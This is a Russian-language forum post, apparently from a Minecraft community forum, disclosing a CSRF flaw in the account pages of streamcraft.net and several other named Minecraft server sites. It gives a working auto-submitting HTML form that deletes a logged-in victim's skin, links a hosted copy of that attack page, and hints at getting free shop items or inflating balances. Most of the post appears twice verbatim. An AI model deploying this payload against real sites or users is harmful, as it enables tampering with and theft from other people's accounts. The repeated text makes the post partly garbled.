- Баллы
- 123
- Имя в Minecraft
- infinity
Не знаю зачем сейчас копался в streamcraft'е, наткнулся в их личном кабинете на типичную CSRF уязвимость (3 по популярности веб уязвимость в мире).
Начал смотреть дальше, заражены очень много проектов с горе-паблик-личными-клиентами.
streamcraft.net
oneland.su
frostland.pro
minecraftonly.ru
и т.д.
В кратце с помощью уязвимости можно делать любые вещи в личном кабинете если игрок перейдет по определенной ссылке с вредоносным скриптом на вашем конце.
Proof of concept - вот небольшой html код
<form method="POST" action="http://streamcraft.net/cabinet">
<input type="hidden" name="delskin" value="lol">
<input type="submit" id="doit" value="Hello">
</form>
<script>
document.getElementById("doit").click();
</script>
Размещенный на вашем сайте на вашей ссылке, если человек, авторизованный в лк стримкрафта перейдет по ссылке с таким кодом - его скин автоматически удалится.
Можете проверить сами - http://starcrack.hol.es/babon/csrf.html
Начал смотреть дальше, заражены очень много проектов с горе-паблик-личными-клиентами.
streamcraft.net
oneland.su
frostland.pro
minecraftonly.ru
и т.д.
В кратце с помощью уязвимости можно делать любые вещи в личном кабинете если игрок перейдет по определенной ссылке с вредоносным скриптом на вашем конце.
Proof of concept - вот небольшой html код
<form method="POST" action="http://streamcraft.net/cabinet">
<input type="hidden" name="delskin" value="lol">
<input type="submit" id="doit" value="Hello">
</form>
<script>
document.getElementById("doit").click();
</script>
Размещенный на вашем сайте на вашей ссылке, если человек, авторизованный в лк стримкрафта перейдет по ссылке с таким кодом - его скин автоматически удалится.
Можете проверить сами - http://starcrack.hol.es/babon/csrf.html
Бывает, что в некоторых магазинах можно вещи бесплатно покупать, а то и накручивать деньги на счёте.
